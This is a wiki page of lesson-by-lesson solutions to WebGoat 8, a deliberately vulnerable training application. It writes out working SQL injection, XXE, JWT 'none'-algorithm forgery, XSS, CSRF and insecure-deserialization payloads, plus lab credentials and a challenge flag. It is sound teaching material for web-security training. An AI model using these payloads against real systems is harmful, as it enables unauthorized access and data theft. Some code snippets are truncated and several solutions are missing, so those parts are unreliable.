Skip to content

Main Exploits

lfmpinto edited this page Aug 31, 2020 · 28 revisions
Clone this wiki locally

This is a work in progress and is still being updated with the full list of solutions. You're welcome to add your own!

These solutions are intended for use with WebGoat Version 8

HTTP Basics, Lesson 2 Exercise

Enter any input and click Go. Observe the HTTP traffic using a web proxy (e.g. OWASP ZAP)

HTTP Basics, Lesson 3 Exercise

The HTTP request observed in the previous exercise was a POST message. The magic number is hidden in the web page's JavaScript. One of the methods to view this is to right click on the web page and select "Inspect Element". In the section where the web page's HTML appears, search for the phrase "magic" until you identify the value stored by the hidden magic_num field.

HTTP Proxies, Lesson 6 Exercise

First follow the instructions on this page to start intercepting requests with OWASP ZAP. After clicking the Submit button:

  1. Change the Method of the request to GET using the Method drop down menu option. You should observe the changeMe variable that was previously in the HTTP request body is now appended to the URL with changeMe=doesn't+matter+really
  2. Copy the header X-Request-Intercepted:true and paste it into the request (I chose to paste it under the similarly named X-Requested-With header)
  3. Modify the value of changeMe in the URL to Requests+are+tampered+easily

Click the play button within ZAP to send the modified request.

SQL Injection (advanced), Lesson 3 Exercise

To dump the user_system_data table and view Dave's password, submit the following in the "Name" form:

x' UNION SELECT 1,user_name,password,'','','',7 FROM user_system_data; -- 

Or an even easier solution whenever possible:

x'; SELECT * FROM user_system_data;--

Now that the table has been dumped, observe Dave's password passW0rD and enter it in the password text field.

SQL Injection (advanced), Lesson 5 Exercise

The Login form does not appear to provide any useful outputs from a variety of inputs, but the Register form allows us to check whether a username already exists. If we try to register with the following username:

tom' AND '1'='1

we find that the username is taken. We can use this as an oracle and check what tom's password is one at a time. Fortunately, the table we are seeking is named "password", so we can attempt to register with the following username:

tom' AND substring(password,1,1)='t

and because the response states the username already exists, we know that "t" is the first character of Tom's password. By fuzzing for the remaining characters, we can determine that tom's password is thisisasecretfortomonly

SQL Injection, Lesson 7 Exercise

In "Account Name" form, enter:

Smith' or '1'='1

SQL Injection, Lesson 8 Exercise

123 or 1=1

SQL Injection (mitigation), Lesson 8 Exercise

Click on the name of one of the columns in the list of servers and observe the HTTP request that is sent using a web proxy (e.g. OWASP ZAP). We will modify the value of column= to execute this attack. As Lesson 7 of this section shows, we can ask the database a question using the when(...) portion of a case statement. We can use this to piece together the full IP address of the webgoat-prd server by inquiring about each individual digit of the IP address, one at a time. To ask the database whether the first digit of the IP of webgoat-prd is 1, we can resend the previous sort request but modify the URL to:

column=(CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd' AND substr(ip,1,1) = '1') IS NOT NULL THEN hostname ELSE id END)

If the server's response shows the servers sorted by id, we guessed the wrong value. Alternatively, if the server's response shows the servers sorted by hostname, we have identified the correct digit for that index. Using the Fuzzer feature built into ZAP, we can iterate through the entire IP address and determine which value is correct for each index. Keep in mind that if no digits 0-9 yield a server list sorted by hostname, the IP address may contain a period at that index (as is the case for indices 4, 8, and 12). After fuzzing each index of the IP address, we determine that webgoat-prd is located at

XXE, Lesson 3 Exercise

Enter and submit a comment. Using a web proxy (e.g. OWASP ZAP), observe the XML in the body of the request. Resend the request, but first edit the XML in the body to something like:

<?xml version="1.0"?>
<!DOCTYPE comment [ <!ENTITY rootpath SYSTEM "file:///"> ]>

XXE, Lesson 4 Exercise

Enter and submit a comment. Using a web proxy (e.g. OWASP ZAP), note how the request body has changed from the previous exercise (Lesson 3), while the webpage looks very similar. We can attempt the same result as Lesson 3 with an identical request body:

<?xml version="1.0"?> 
<!DOCTYPE comment [ <!ENTITY rootpath SYSTEM "file:///"> ]> 

But as the response suggests, we can't submit XML when the Content-Type is application/json. We can fix this problem by changing the Content-Type to application/xml, and sending the above XML as before.

XXE, Lesson 7 Exercise

As in the previous lesson we need to create a DTD file which will be hosted on a server but we can also create it in our system directory.


<?xml version="1.0" encoding="UTF-8"?>
        <!ENTITY cat SYSTEM 'file:///home/$USER/.webgoat-*.*.*.***/XXE/secret.txt'> 

now intercept the request and modify it to load the DTD file in the system path:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///home/$USER/.webgoat-8.0.0.M21/XXE/attack.dtd">

The DTD file will load the content of the secret.txt in the request and it will be displayed in the comments section which we have to copy-paste in the comments and submit.

Authentication Bypass, Lesson 2 Exercise

Enter values into both security question forms and click the Submit button. Using a web proxy (e.g. OWASP ZAP), observe the HTTP request sent by the client. Edit the secQuestion0 variable name to secQuestion2 and change the secQuestion1 variable to secQuestion3 and resend the request

JWT tokens, Lesson 4 Exercise

After selecting a user (Tom, Jerry, or Sylvester), attempt to reset votes and capture the access token JWT in the request using a web proxy (e.g. OWASP ZAP). Decode the token (e.g. using Copy the token header, edit the "alg" field from "HS256" to "none". Copy the new header and use a Base64 converter to converter the ASCII to Base64 to serve as the new header. The resulting new header is eyJhbGciOiJub25lIn0=. Remove the signature portion of the JWT, but leave a trailing period. Use the same JWT payload as before, but with the "admin" field set to "true". The result should be a JWT similar to: eyJhbGciOiJub25lIn0=.eyJpYXQiOjE1NDMzNzU1MjIsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.

NOTE: a bug may cause the "4" for Lesson 4 to remain red (indicating incompleteness) instead of green (indicating completeness)

JWT tokens, Lesson 5 Exercise

The structure of JWT is header.payload.signature, we need to base64 decode the header and the payload parts, change alg, username values to none and WebGoat. Encode in base64 the 2 parts (not the signature part).




{"iss":"WebGoat Token Builder","aud":"","iat":1571830867,"exp":1571830927,"sub":"","username":"WebGoat","Email":"","Role":["Manager","Project Administrator"]}

Submit with this structure (with dots):


JWT tokens, Lesson 7 Exercise

From Lesson 4 get Tom's access token eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzI0MjgwMzYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.hnnm5nXOzR7xkagSUWUbFj-4KthGc6iiSVNzr46GYvXrMIxpu1YuHLlI7pHbwFsIW93t08nMEsIHu0UZino8lw by intercepting the request for Reset Votes using a web proxy (e.g Burp Suit).

Coming back to lesson 7 click on CheckOut and intercept the request add a new Authorization header with Tom's access token removing the signature field of the token but keeping the period in the end as value eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzI0MjgxMDYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0. and send the request

NOTE: I got a Congratulations message but the indicator remained red (indicating incompleteness) instead of green (indicating completeness)

JWT tokens, Lesson 8 Exercise

See lesson 4. Change alg to "none" and user to username. Encode it and remove the signature part.

Password reset, Lesson 2 Exercise

Awaiting solution...

Password reset, Lesson 4 Exercise

  • Look for possible usernames (e.g. Tom) (sorry no better idea). For users that do not exist the following message is displayed: "User XXXX is not a valid user." If the user exists "Sorry the solution is not correct, please try again." is displayed. So you have a way to verify a user exists.
  • Intercept the request with ZAP, get yourself a list of colors (e. g. from Wikipedia) and let ZAP fuzz on the list. One request will be different and here you are.

Password reset, Lesson 5 Exercise

Awaiting solution...

Cross Site Scripting, Lesson 2 Exercise


Cross Site Scripting, Lesson 7 Exercise

After using the default data entries, observe that the user-filled credit card number is reflected to the user in the webpage's thank you message. Replace the credit card number with the following JavaScript:
<script>alert('This is an example of reflected XSS')</script>

Cross Site Scripting, Lesson 10 Exercise

Clicking the Submit button without input (or with an incorrect solution) prompts the suggestion to look at the GoatRouter.js file. Within this file, we see a few uses of the word "test" and can discern that the test path is: start.mvc#test/

Cross Site Scripting, Lesson 11 Exercise

Using the start.mvc#test/ route we discovered in the previous exercise, we can append the suggested function directly into the URL:


E.g. becoming:


Once the above URL is opened in a new tab, watch your proxy to see the phoneHome value

Cross Site Scripting, Lesson 13 Exercise

This very similar to the previous exercise, but the input must be provided into the input form. We can enter an input such as:

Haha stored XSS <script>webgoat.customjs.phoneHome()</script>

And as before the phoneHome value will appear in your proxy

Insecure Direct Object Reference, Lesson 2 Exercise

Use the provided credentials to login:

  • user: tom
  • pass: cat

Insecure Direct Object Reference, Lesson 3 Exercise

Click the "View Profile" button. Using a web proxy (e.g. OWASP ZAP), observe the body of the server's response to the profile request. Enter the two extra attributes seen in the web proxy (comma delimited):

userId, role

NOTE: a bug may cause the "3" for Lesson 3 to remain red (indicating incompleteness) instead of green (indicating completeness)

Insecure Direct Object Reference, Lesson 4 Exercise

We can observe that in Lesson 3, the profile request was directed at WebGoat/IDOR/profile We can infer that in order to request a specific profile, a unique profile attribute may be appended to this URL, so using the userId from the previous answer, enter:


Insecure Direct Object Reference, Lesson 5 Exercise

  • Part 1: Click the first View Profile button on the page, capture the request using a web proxy (e.g. OWASP ZAP), and observe that the userId value is sent in the URL of the HTTP request. Since we do not know the userId of other users, we can either try incrementing the userId by hand, starting with our known userId (2342384), or we can use a fuzzing tool in our web proxy. Using either method, we can find that Buffalo Bill's userId is 2342388.
  • Part 2: To edit Buffalo Bill's profile, we must use the prior HTTP request with some modifications. First, we confirm that Buffalo Bill's userId, 2342388, is in the request URL. We must know that a REST API can use the HTTP PUT method to provide updates, so we change the HTTP request to a PUT request. Next, we need to provide RESTful values in the request body, so we past the following into the body:
    {"role":"1", "color":"red", "size":"small", "name":"Buffalo Bob", "userId":"2342388"}

Lastly, we must change the Content-Type from application/x-www-form-urlencoded to application/json for the server to correctly process the request.

Missing Function Level Access Control, Lesson 2 Exercise

Right click on the web page and select "Inspect Element". In the tab where the web page's HTML is visible, use the search function to locate all instance of the word hidden. We find menu headers with the hidden-menu-item class value. The hidden header is "Admin" while the two menu panels below it (and the solutions to this exercise) are "Users" and "Config".

Missing Function Level Access Control, Lesson 3 Exercise

From the earlier lesson, we got two URL's when we open the Users URL /WebGoat/users we land on a page showing the number of users. if we intercept the request with a proxy and modify the headers to

Accept: application/json
Content-Type: application/json

we will be obtaining the hash for our user

Insecure Login, Lesson 2 Exercise

Using a web proxy (e.g. OWASP ZAP), observe the request transmitted after the Log in button is clicked. The body of the captured request contains:


NOTE: a bug may cause the "2" for Lesson 2 to remain red (indicating incompleteness) instead of green (indicating completeness)

Insecure Deserialization, Lesson 5 Exercise

The best way is to use Java to leverage building the exploit using the VulnerableTaskHolder class.

  1. Compile the vulnerable class:
package org.dummy.insecure.framework;

import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

    private static final long serialVersionUID = 2;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction) {
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime =;
  1. Compile a small Java app that serializes the vulnerable class above to build the exploit:
import java.util.*;
import org.dummy.insecure.framework.*;

public class BuildExploit {

    public static void main(String[] args) throws Exception {
        VulnerableTaskHolder go = new VulnerableTaskHolder("sleep for 5secs", "sleep 5");

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        byte[] exploit = bos.toByteArray();
  1. Running the Example app will produce the desirable string for exploiting the lesson.

Cross-Site Request Forgeries, Lesson 3 Exercise

Click the "Submit Query" button. Observe the URL of the page that opens includes a field titled csrf. Modify the URL to the following and view the message:


The flag is on the web page when the correct URL (the line above) is accessed in a separate window/tab.

Cross-Site Request Forgeries, Lesson 4 Exercise

Make a fake .html file locally to act as a web page. The .html file will include hidden form fields, such as the following. Remember to replace the validateReq token value with your own value!

<html><body><form action="http://localhost:8080/WebGoat/csrf/review" method="POST"><input type="hidden" name="reviewText" value="Amazing Review"><input type="hidden" name="stars" value="5"><input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9"></form> <script>document.forms[0].submit();</script></body></html>

Now open this web page in the same browser as while logged in to your WebGoat account.

Cross-Site Request Forgeries, Lesson 7 Exercise

Create a simple HTML-Page containing the following form:

<form enctype="text/plain" method="POST" action="http://localhost:8080/WebGoat/csrf/feedback/message">
	<input type="hidden" name='{"name": "WebGoat", "email": "", "content": "WebGoat is the best!!", "ignoreme":"' value='sdfsdfdf"}'>

Explanation: The enctype forces the browser to send the the request without "&" separating the key value pairs. Since forms have key / value pairs (e. g. xxx=someval), we have a problem with the =. We solve this by adding a unexpected field at the end of the name attribute and put some stuff into the value field (do not forget the closing bracket). The POST body will look like:

{"name": "WebGoat", "email": "", "content": "WebGoat is the best!!", "ignoreme": "=sdfsdfdf"}

Open the HTML file and submit the form and you are done.

Cross-Site Request Forgeries, Lesson 8 Exercise

Awaiting solution...

Vulnerable Components, Lesson 5 Exercise

Nothing to do here, just click the two "Go!" buttons

Vulnerable Components, Lesson 12 Exercise

This exercise likely needs updated answer validation, since WebGoat doesn't appear to accept proof of concepts from the web. That being said, the WebGoat source code shows an answer such as the following will suffice:


Bypass front-end restrictions, Lesson 2 Exercise

If you are using a recent version of Mozilla Firefox or Google Chrome, right click one of the input fields and select "Inspect Element" from the menu. In the HTML inspector, modify the four input fields to:

  • Add a third option named option3 to the selection menu and select it
  • Add a third radio button with a value of option3 and select it
  • Change the checkbox input type field to text and enter some text
  • Adjust the text input field maxlength variable to a value greater than the default value of 5 and add extra characters to the input value

Bypass Front-End Restrictions, Lesson 3 Exercise

Submit the form using the default values. Then, using a web proxy (e.g. OWASP ZAP), edit the request with the web proxy and modify the values of the fields to values that do not fit the regular expressions. For example, the following request body will work:


Client Side Filtering, Lesson 2 Exercise

Select any employee name from the menu. Using a web proxy (e.g. OWASP ZAP), observe that the response from the server includes the full details (salary, UserID, SSN) for all users, including the CEO, Neville Bartholomew. Enter Neville's salary into the submission box

Client Side Filtering, Lesson 3

Enter a random value for the "Checkout Code" and click the "Buy" button and observe the request using a web proxy (e.g. OWASP ZAP). Two requests are made. One to clientSideFiltering/challenge-store/coupons/ and one to clientSideFiltering/getItForFree/whatever-you-wrote-for-checkout-code. By accessing the latter URL with an empty value for the checkout code, like so:


We can see all the possible coupon codes, and determine that get_it_for_free provides a 100% discount

HTML Tampering, Lesson 2

Right click the "Checkout" button and select "Inspect Element" from the right click menu. Observe that within the HTML source, below the button, is a hidden input field. Modify the value of this hidden input to a cost below 2999. Then click the green "Checkout" button.

Admin lost password

Download the WebGoat logo above the username box, open the image in a text editor and search for Admin or WebGoat. There you will find the password in the format admin:<password>

Without password

  • Username: Larry
  • Password: ' or 1=1 --

Congratulations, you solved the challenge. Here is your flag: e3b02485-38ef-4ae5-b234-08fe254f10b9

Creating a new account

  1. Go to Register tab,
  2. Check if blind injection is possible with:
    tom' AND 1=1;-- AND tom' AND 1=2;--
  3. Do an automated blind SQL Injection using:
    tom' AND SUBSTRING(password, 1, 1)='X';--
    with X in abcdefghijklmnupqrstuvxyz
  4. Get the password.

Admin password reset

  1. Send youserlf to WebWolf a link to look at the reset-password link
  2. Look into the source code: You'll find that the challenge is created by a git repository
  3. Download zip file at WebGoat/challenge/7/.git
  4. unzip .git
  5. check with git rev-list --objects -g --no-walk --all for all objects in the bare repository
  6. use git show <HASH> > <NAME> for the objects with the name MD5.class, MD5$1.class, MD5$MD5State.class (use $)
  7. use the same for the two PasswordResetLink.class objects
  8. use a java decompiler tool of your choice to check for the source code.
  9. check in the decompiled PasswordRestLink files for a hardcoded key for admins, thats the PasswordRestLink.class you want to use
  10. now use java to create the admin reset password link: java PasswordResetLink admin -> <ADMIN_HASH>
  11. now send via the form the reset-password
  12. go to WebGoat/challenge/7/reset-password/<ADMIN_HASH>
  13. Success!!

Without account

Check the JavaScript source for this challenge.

  1. Go to http://localhost:8080/WebGoat/challenge/8/vote/5 (or anything from 1-5).
  2. Check with OPTIONS which other Request methods are allowed (GET and HEAD)
  3. Change the request method to HEAD.